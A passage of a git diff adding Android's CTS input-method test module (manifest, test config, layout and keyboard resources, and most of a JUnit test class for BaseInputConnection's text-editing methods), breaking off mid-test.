+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.view.inputmethod.cts">
+
+    <application
+        android:label="CtsInputMethodTestCases"
+        android:multiArch="true"
+        android:supportsRtl="true">
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="android.view.inputmethod.cts.InputMethodCtsActivity"
+            android:label="InputMethodCtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests of android.view.inputmethod"
+        android:targetPackage="android.view.inputmethod.cts">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
new file mode 100644
index 0000000..b696a52
--- /dev/null
+++ b/tests/inputmethod/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<configuration description="Config for CTS InputMethod test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInputMethodTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.view.inputmethod.cts" />
+        <option name="runtime-hint" value="1m0s" />
+    </test>
+</configuration>
diff --git a/tests/inputmethod/res/layout/inputmethod_edittext.xml b/tests/inputmethod/res/layout/inputmethod_edittext.xml
new file mode 100644
index 0000000..a8f442e
--- /dev/null
+++ b/tests/inputmethod/res/layout/inputmethod_edittext.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="wrap_content"
+    android:background="@drawable/blue"
+    android:padding="10px">
+
+    <EditText
+        android:id="@+id/entry"
+        android:layout_width="fill_parent"
+        android:layout_height="wrap_content"
+        android:background="@android:drawable/editbox_background"/>
+
+</RelativeLayout>
diff --git a/tests/inputmethod/res/values/colors.xml b/tests/inputmethod/res/values/colors.xml
new file mode 100644
index 0000000..1d87ea8
--- /dev/null
+++ b/tests/inputmethod/res/values/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<resources>
+    <drawable name="blue">#770000ff</drawable>
+</resources>
diff --git a/tests/inputmethod/res/xml/keyboard.xml b/tests/inputmethod/res/xml/keyboard.xml
new file mode 100644
index 0000000..af8b23b
--- /dev/null
+++ b/tests/inputmethod/res/xml/keyboard.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017, The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<Keyboard xmlns:android="http://schemas.android.com/apk/res/android"
+    android:keyWidth="10%p"
+    android:horizontalGap="0px"
+    android:verticalGap="0px"
+    android:keyHeight="10px"
+    >
+
+    <Row>
+        <Key android:codes="-1" android:keyLabel="Sticky!"
+                android:isModifier="true" android:isSticky="true" />
+        <Key android:codes="120" android:keyLabel="x" />
+    </Row>
+</Keyboard>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
new file mode 100644
index 0000000..8089739
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -0,0 +1,519 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.ClipDescription;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Editable;
+import android.text.Selection;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.TextUtils;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+import android.view.View;
+import android.view.Window;
+import android.view.inputmethod.BaseInputConnection;
+import android.view.inputmethod.CompletionInfo;
+import android.view.inputmethod.ExtractedTextRequest;
+import android.view.inputmethod.InputContentInfo;
+import android.view.inputmethod.InputMethodManager;
+import android.view.inputmethod.cts.R;
+import android.view.inputmethod.cts.util.InputConnectionTestUtils;
+import android.widget.EditText;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class BaseInputConnectionTest {
+    private Instrumentation mInstrumentation;
+    private InputMethodCtsActivity mActivity;
+    private Window mWindow;
+    private EditText mView;
+    private BaseInputConnection mConnection;
+
+    @Rule
+    public ActivityTestRule<InputMethodCtsActivity> mActivityRule =
+            new ActivityTestRule<>(InputMethodCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mWindow = mActivity.getWindow();
+        mView = (EditText) mWindow.findViewById(R.id.entry);
+        mConnection = new BaseInputConnection(mView, true);
+    }
+
+    @Test
+    public void testDefaultMethods() {
+        // These methods are default to return fixed result.
+
+        assertFalse(mConnection.beginBatchEdit());
+        assertFalse(mConnection.endBatchEdit());
+
+        // only fit for test default implementation of commitCompletion.
+        int completionId = 1;
+        String completionString = "commitCompletion test";
+        assertFalse(mConnection.commitCompletion(new CompletionInfo(completionId,
+                0, completionString)));
+
+        assertNull(mConnection.getExtractedText(new ExtractedTextRequest(), 0));
+
+        // only fit for test default implementation of performEditorAction.
+        int actionCode = 1;
+        int actionId = 2;
+        String action = "android.intent.action.MAIN";
+        assertTrue(mConnection.performEditorAction(actionCode));
+        assertFalse(mConnection.performContextMenuAction(actionId));
+        assertFalse(mConnection.performPrivateCommand(action, new Bundle()));
+    }
+
+    @Test
+    public void testOpComposingSpans() {
+        Spannable text = new SpannableString("Test ComposingSpans");
+        BaseInputConnection.setComposingSpans(text);
+        assertTrue(BaseInputConnection.getComposingSpanStart(text) > -1);
+        assertTrue(BaseInputConnection.getComposingSpanEnd(text) > -1);
+        BaseInputConnection.removeComposingSpans(text);
+        assertTrue(BaseInputConnection.getComposingSpanStart(text) == -1);
+        assertTrue(BaseInputConnection.getComposingSpanEnd(text) == -1);
+    }
+
+    /**
+     * getEditable: Return the target of edit operations. The default implementation
+     *              returns its own fake editable that is just used for composing text.
+     * clearMetaKeyStates: Default implementation uses
+     *              MetaKeyKeyListener#clearMetaKeyState(long, int) to clear the state.
+     *              BugId:1738511
+     * commitText: 1. Default implementation replaces any existing composing text with the given
+     *                text.
+     *             2. In addition, only if dummy mode, a key event is sent for the new text and the
+     *                current editable buffer cleared.
+     * deleteSurroundingText: The default implementation performs the deletion around the current
+     *              selection position of the editable text.
+     * getCursorCapsMode: 1. The default implementation uses TextUtils.getCapsMode to get the
+     *                  cursor caps mode for the current selection position in the editable text.
+     *                  TextUtils.getCapsMode is tested fully in TextUtilsTest#testGetCapsMode.
+     *                    2. In dummy mode in which case 0 is always returned.
+     * getTextBeforeCursor, getTextAfterCursor: The default implementation performs the deletion
+     *                          around the current selection position of the editable text.
+     * setSelection: changes the selection position in the current editable text.
+     */
+    @Test
+    public void testOpTextMethods() throws Throwable {
+        // return is an default Editable instance with empty source
+        final Editable text = mConnection.getEditable();
+        assertNotNull(text);
+        assertEquals(0, text.length());
+
+        // Test commitText, not dummy mode
+        CharSequence str = "TestCommit ";
+        Editable inputText = Editable.Factory.getInstance().newEditable(str);
+        mConnection.commitText(inputText, inputText.length());
+        final Editable text2 = mConnection.getEditable();
+        int strLength = str.length();
+        assertEquals(strLength, text2.length());
+        assertEquals(str.toString(), text2.toString());
+        assertEquals(TextUtils.CAP_MODE_WORDS,
+                mConnection.getCursorCapsMode(TextUtils.CAP_MODE_WORDS));
+        int offLength = 3;
+        CharSequence expected = str.subSequence(strLength - offLength, strLength);
+        assertEquals(expected.toString(), mConnection.getTextBeforeCursor(offLength,
+                BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        mConnection.setSelection(0, 0);
+        expected = str.subSequence(0, offLength);
+        assertEquals(expected.toString(), mConnection.getTextAfterCursor(offLength,
+                BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(mView.requestFocus());
+            assertTrue(mView.isFocused());
+        });
+
+        // dummy mode
+        BaseInputConnection dummyConnection = new BaseInputConnection(mView, false);
+        dummyConnection.commitText(inputText, inputText.length());
+        PollingCheck.waitFor(() -> text2.toString().equals(mView.getText().toString()));
+        assertEquals(0, dummyConnection.getCursorCapsMode(TextUtils.CAP_MODE_WORDS));
+
+        // Test deleteSurroundingText
+        int end = text2.length();
+        mConnection.setSelection(end, end);
+        // Delete the ending space
+        assertTrue(mConnection.deleteSurroundingText(1, 2));
+        Editable text3 = mConnection.getEditable();
+        assertEquals(strLength - 1, text3.length());
+        String expectedDelString = "TestCommit";
+        assertEquals(expectedDelString, text3.toString());
+    }
+
+    /**
+     * finishComposingText: 1. The default implementation removes the composing state from the
+     *                         current editable text.
+     *                      2. In addition, only if dummy mode, a key event is sent for the new
+     *                         text and the current editable buffer cleared.
+     * setComposingText: The default implementation places the given text into the editable,
+     *                  replacing any existing composing text
+     */
+    @Test
+    public void testFinishComposingText() throws Throwable {
+        CharSequence str = "TestFinish";
+        Editable inputText = Editable.Factory.getInstance().newEditable(str);
+        mConnection.commitText(inputText, inputText.length());
+        final Editable text = mConnection.getEditable();
+        // Test finishComposingText, not dummy mode
+        BaseInputConnection.setComposingSpans(text);
+        assertTrue(BaseInputConnection.getComposingSpanStart(text) > -1);
+        assertTrue(BaseInputConnection.getComposingSpanEnd(text) > -1);
+        mConnection.finishComposingText();
+        assertTrue(BaseInputConnection.getComposingSpanStart(text) == -1);
+        assertTrue(BaseInputConnection.getComposingSpanEnd(text) == -1);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(mView.requestFocus());
+            assertTrue(mView.isFocused());
+        });
+
+        // dummy mode
+        BaseInputConnection dummyConnection = new BaseInputConnection(mView, false);
+        dummyConnection.setComposingText(str, str.length());
+        dummyConnection.finishComposingText();
+        PollingCheck.waitFor(() -> text.toString().equals(mView.getText().toString()));
+    }
+
+    /**
+     * Provides standard implementation for sending a key event to the window
+     * attached to the input connection's view
+     */
+    @Test
+    public void testSendKeyEvent() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(mView.requestFocus());
+            assertTrue(mView.isFocused());
+        });
+
+        // 12-key support
+        KeyCharacterMap keymap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
+        if (keymap.getKeyboardType() == KeyCharacterMap.NUMERIC) {
+            // 'Q' in case of 12-key(NUMERIC) keyboard
+            mConnection.sendKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_7));
+            mConnection.sendKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_7));
+        } else {
+            mInstrumentation.sendStringSync("q");
+            mInstrumentation.waitForIdleSync();
+        }
+        PollingCheck.waitFor(() -> "q".equals(mView.getText().toString()));
+    }
+
+    /**
+     * Updates InputMethodManager with the current fullscreen mode.
+     */
+    @Test
+    public void testReportFullscreenMode() {
+        InputMethodManager imManager = (InputMethodManager) mInstrumentation.getTargetContext()
+                .getSystemService(Context.INPUT_METHOD_SERVICE);
+        mConnection.reportFullscreenMode(false);
+        assertFalse(imManager.isFullscreenMode());
+        mConnection.reportFullscreenMode(true);
+        // Only IMEs are allowed to report full-screen mode.  Calling this method from the
+        // application should have no effect.
+        assertFalse(imManager.isFullscreenMode());
+    }
+
+    /**
+     * An utility method to create an instance of {@link BaseInputConnection} in dummy mode with
+     * an initial text and selection range.
+     * @param view the {@link View} to be associated with the {@link BaseInputConnection}.
+     * @param source the initial text.
+     * @return {@link BaseInputConnection} instantiated in dummy mode with {@code source} and
+     * selection range from {@code selectionStart} to {@code selectionEnd}
+     */
+    private static BaseInputConnection createDummyConnectionWithSelection(
+            final View view, final CharSequence source) {
+        final int selectionStart = Selection.getSelectionStart(source);
+        final int selectionEnd = Selection.getSelectionEnd(source);
+        final Editable editable = Editable.Factory.getInstance().newEditable(source);
+        Selection.setSelection(editable, selectionStart, selectionEnd);
+        return new BaseInputConnection(view, false) {
+            @Override
+            public Editable getEditable() {
+                return editable;
+            }
+        };
+    }
+
+    private void verifyDeleteSurroundingTextMain(final String initialState,
+            final int deleteBefore, final int deleteAfter, final String expectedState) {
+        final CharSequence source = InputConnectionTestUtils.formatString(initialState);
+        final BaseInputConnection ic = createDummyConnectionWithSelection(mView, source);
+        ic.deleteSurroundingText(deleteBefore, deleteAfter);
+
+        final CharSequence expectedString = InputConnectionTestUtils.formatString(expectedState);
+        final int expectedSelectionStart = Selection.getSelectionStart(expectedString);
+        final int expectedSelectionEnd = Selection.getSelectionEnd(expectedString);
+
+        // It is sufficient to check the surrounding text up to source.length() characters, because
+        // InputConnection.deleteSurroundingText() is not supposed to increase the text length.
+        final int retrievalLength = source.length();
+        if (expectedSelectionStart == 0) {
+            assertTrue(TextUtils.isEmpty(ic.getTextBeforeCursor(retrievalLength, 0)));
+        } else {
+            assertEquals(expectedString.subSequence(0, expectedSelectionStart).toString(),
+                    ic.getTextBeforeCursor(retrievalLength, 0).toString());
+        }
+        if (expectedSelectionStart == expectedSelectionEnd) {
+            assertTrue(TextUtils.isEmpty(ic.getSelectedText(0)));  // null is allowed.
+        } else {
+            assertEquals(expectedString.subSequence(expectedSelectionStart,
+                    expectedSelectionEnd).toString(), ic.getSelectedText(0).toString());
+        }
+        if (expectedSelectionEnd == expectedString.length()) {
+            assertTrue(TextUtils.isEmpty(ic.getTextAfterCursor(retrievalLength, 0)));
+        } else {
+            assertEquals(expectedString.subSequence(expectedSelectionEnd,
+                    expectedString.length()).toString(),
+                    ic.getTextAfterCursor(retrievalLength, 0).toString());
+        }
+    }
+
+    /**
+     * Tests {@link BaseInputConnection#deleteSurroundingText(int, int)} comprehensively.
+     */
+    @Test
+    public void testDeleteSurroundingText() throws Throwable {
+        verifyDeleteSurroundingTextMain("012[]3456789", 0, 0, "012[]3456789");
+        verifyDeleteSurroundingTextMain("012[]3456789", -1, -1, "012[]3456789");
+        verifyDeleteSurroundingTextMain("012[]3456789", 1, 2, "01[]56789");
+        verifyDeleteSurroundingTextMain("012[]3456789", 10, 1, "[]456789");
+        verifyDeleteSurroundingTextMain("012[]3456789", 1, 10, "01[]");
+        verifyDeleteSurroundingTextMain("[]0123456789", 3, 3, "[]3456789");
+        verifyDeleteSurroundingTextMain("0123456789[]", 3, 3, "0123456[]");
+        verifyDeleteSurroundingTextMain("012[345]6789", 0, 0, "012[345]6789");
+        verifyDeleteSurroundingTextMain("012[345]6789", -1, -1, "012[345]6789");
+        verifyDeleteSurroundingTextMain("012[345]6789", 1, 2, "01[345]89");
+        verifyDeleteSurroundingTextMain("012[345]6789", 10, 1, "[345]789");
+        verifyDeleteSurroundingTextMain("012[345]6789", 1, 10, "01[345]");
+        verifyDeleteSurroundingTextMain("[012]3456789", 3, 3, "[012]6789");
+        verifyDeleteSurroundingTextMain("0123456[789]", 3, 3, "0123[789]");
+        verifyDeleteSurroundingTextMain("[0123456789]", 0, 0, "[0123456789]");
+        verifyDeleteSurroundingTextMain("[0123456789]", 1, 1, "[0123456789]");
+
+        // Surrogate characters do not have any special meanings.  Validating the character sequence
+        // is beyond the goal of this API.
+        verifyDeleteSurroundingTextMain("0<>[]3456789", 1, 0, "0<[]3456789");
+        verifyDeleteSurroundingTextMain("0<>[]3456789", 2, 0, "0[]3456789");
+        verifyDeleteSurroundingTextMain("0<>[]3456789", 3, 0, "[]3456789");
+        verifyDeleteSurroundingTextMain("012[]<>56789", 0, 1, "012[]>56789");
+        verifyDeleteSurroundingTextMain("012[]<>56789", 0, 2, "012[]56789");
+        verifyDeleteSurroundingTextMain("012[]<>56789", 0, 3, "012[]6789");
+        verifyDeleteSurroundingTextMain("0<<[]3456789", 1, 0, "0<[]3456789");
+        verifyDeleteSurroundingTextMain("0<<[]3456789", 2, 0, "0[]3456789");
+        verifyDeleteSurroundingTextMain("0<<[]3456789", 3, 0, "[]3456789");
+        verifyDeleteSurroundingTextMain("012[]<<56789", 0, 1, "012[]<56789");
+        verifyDeleteSurroundingTextMain("012[]<<56789", 0, 2, "012[]56789");
+        verifyDeleteSurroundingTextMain("012[]<<56789", 0, 3, "012[]6789");
+        verifyDeleteSurroundingTextMain("0>>[]3456789", 1, 0, "0>[]3456789");
+        verifyDeleteSurroundingTextMain("0>>[]3456789", 2, 0, "0[]3456789");
+        verifyDeleteSurroundingTextMain("0>>[]3456789", 3, 0, "[]3456789");
+        verifyDeleteSurroundingTextMain("012[]>>56789", 0, 1, "012[]>56789");
+        verifyDeleteSurroundingTextMain("012[]>>56789", 0, 2, "012[]56789");
+        verifyDeleteSurroundingTextMain("012[]>>56789", 0, 3, "012[]6789");
+    }
+
+    private void verifyDeleteSurroundingTextInCodePointsMain(final String initialState,
+            final int deleteBeforeInCodePoints, final int deleteAfterInCodePoints,
+            final String expectedState) {
+        final CharSequence source = InputConnectionTestUtils.formatString(initialState);
+        final BaseInputConnection ic = createDummyConnectionWithSelection(mView, source);
+        ic.deleteSurroundingTextInCodePoints(deleteBeforeInCodePoints, deleteAfterInCodePoints);
+
+        final CharSequence expectedString = InputConnectionTestUtils.formatString(expectedState);
+        final int expectedSelectionStart = Selection.getSelectionStart(expectedString);
+        final int expectedSelectionEnd = Selection.getSelectionEnd(expectedString);
+
+        // It is sufficient to check the surrounding text up to source.length() characters, because
+        // InputConnection.deleteSurroundingTextInCodePoints() is not supposed to increase the text
+        // length.
+        final int retrievalLength = source.length();
+        if (expectedSelectionStart == 0) {
+            assertTrue(TextUtils.isEmpty(ic.getTextBeforeCursor(retrievalLength, 0)));
+        } else {
+            assertEquals(expectedString.subSequence(0, expectedSelectionStart).toString(),
+                    ic.getTextBeforeCursor(retrievalLength, 0).toString());
+        }
+        if (expectedSelectionStart == expectedSelectionEnd) {
+            assertTrue(TextUtils.isEmpty(ic.getSelectedText(0)));  // null is allowed.
+        } else {
+            assertEquals(expectedString.subSequence(expectedSelectionStart,
+                    expectedSelectionEnd).toString(), ic.getSelectedText(0).toString());
+        }
+        if (expectedSelectionEnd == expectedString.length()) {
+            assertTrue(TextUtils.isEmpty(ic.getTextAfterCursor(retrievalLength, 0)));
+        } else {
+            assertEquals(expectedString.subSequence(expectedSelectionEnd,
+                    expectedString.length()).toString(),
+                    ic.getTextAfterCursor(retrievalLength, 0).toString());
+        }
+    }
+
+    /**
+     * Tests {@link BaseInputConnection#deleteSurroundingTextInCodePoints(int, int)}
+     * comprehensively.
+     */
+    @Test
+    public void testDeleteSurroundingTextInCodePoints() throws Throwable {
+        verifyDeleteSurroundingTextInCodePointsMain("012[]3456789", 0, 0, "012[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]3456789", -1, -1, "012[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]3456789", 1, 2, "01[]56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]3456789", 10, 1, "[]456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]3456789", 1, 10, "01[]");
+        verifyDeleteSurroundingTextInCodePointsMain("[]0123456789", 3, 3, "[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0123456789[]", 3, 3, "0123456[]");
+        verifyDeleteSurroundingTextInCodePointsMain("012[345]6789", 0, 0, "012[345]6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[345]6789", -1, -1, "012[345]6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[345]6789", 1, 2, "01[345]89");
+        verifyDeleteSurroundingTextInCodePointsMain("012[345]6789", 10, 1, "[345]789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[345]6789", 1, 10, "01[345]");
+        verifyDeleteSurroundingTextInCodePointsMain("[012]3456789", 3, 3, "[012]6789");
+        verifyDeleteSurroundingTextInCodePointsMain("0123456[789]", 3, 3, "0123[789]");
+        verifyDeleteSurroundingTextInCodePointsMain("[0123456789]", 0, 0, "[0123456789]");
+        verifyDeleteSurroundingTextInCodePointsMain("[0123456789]", 1, 1, "[0123456789]");
+
+        verifyDeleteSurroundingTextInCodePointsMain("0<>[]3456789", 1, 0, "0[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0<>[]3456789", 2, 0, "[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0<>[]3456789", 3, 0, "[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<>56789", 0, 1, "012[]56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<>56789", 0, 2, "012[]6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<>56789", 0, 3, "012[]789");
+
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 0, "[]<><><><><>");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 1, "[]<><><><>");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 2, "[]<><><>");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 3, "[]<><>");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 4, "[]<>");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 5, "[]");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 6, "[]");
+        verifyDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 1000, "[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 0, 0, "<><><><><>[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 1, 0, "<><><><>[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 2, 0, "<><><>[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 3, 0, "<><>[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 4, 0, "<>[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 5, 0, "[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 6, 0, "[]");
+        verifyDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 1000, 0, "[]");
+
+        verifyDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 1, 0, "0<<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 2, 0, "0<<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 3, 0, "0<<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<<56789", 0, 1, "012[]<<56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<<56789", 0, 2, "012[]<<56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<<56789", 0, 3, "012[]<<56789");
+        verifyDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 1, 0, "0>>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 2, 0, "0>>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 3, 0, "0>>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]>>56789", 0, 1, "012[]>>56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]>>56789", 0, 2, "012[]>>56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]>>56789", 0, 3, "012[]>>56789");
+        verifyDeleteSurroundingTextInCodePointsMain("01<[]>456789", 1, 0, "01<[]>456789");
+        verifyDeleteSurroundingTextInCodePointsMain("01<[]>456789", 0, 1, "01<[]>456789");
+        verifyDeleteSurroundingTextInCodePointsMain("<12[]3456789", 1, 0, "<1[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("<12[]3456789", 2, 0, "<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("<12[]3456789", 3, 0, "<12[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("<<>[]3456789", 1, 0, "<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("<<>[]3456789", 2, 0, "<<>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("<<>[]3456789", 3, 0, "<<>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]34>6789", 0, 1, "012[]4>6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]34>6789", 0, 2, "012[]>6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]34>6789", 0, 3, "012[]34>6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<>>6789", 0, 1, "012[]>6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<>>6789", 0, 2, "012[]<>>6789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<>>6789", 0, 3, "012[]<>>6789");
+
+        // Atomicity test.
+        verifyDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 1, 1, "0<<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 2, 1, "0<<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 3, 1, "0<<[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<<56789", 1, 1, "012[]<<56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<<56789", 1, 2, "012[]<<56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]<<56789", 1, 3, "012[]<<56789");
+        verifyDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 1, 1, "0>>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 2, 1, "0>>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 3, 1, "0>>[]3456789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]>>56789", 1, 1, "012[]>>56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]>>56789", 1, 2, "012[]>>56789");
+        verifyDeleteSurroundingTextInCodePointsMain("012[]>>56789", 1, 3, "012[]>>56789");
+        verifyDeleteSurroundingTextInCodePointsMain("01<[]>456789", 1, 1, "01<[]>456789");
+
+        // Do not verify the character sequences in the selected region.
+        verifyDeleteSurroundingTextInCodePointsMain("01[><]456789", 1, 0, "0[><]456789");
+        verifyDeleteSurroundingTextInCodePointsMain("01[><]456789", 0, 1, "01[><]56789");
+        verifyDeleteSurroundingTextInCodePointsMain("01[><]456789", 1, 1, "0[><]56789");
+    }
+
+    @Test
+    public void testCloseConnection() {
+        final CharSequence source = "0123456789";
+        mConnection.commitText(source, source.length());
+        final Editable text = mConnection.getEditable();
+        BaseInputConnection.setComposingSpans(text, 2, 5);
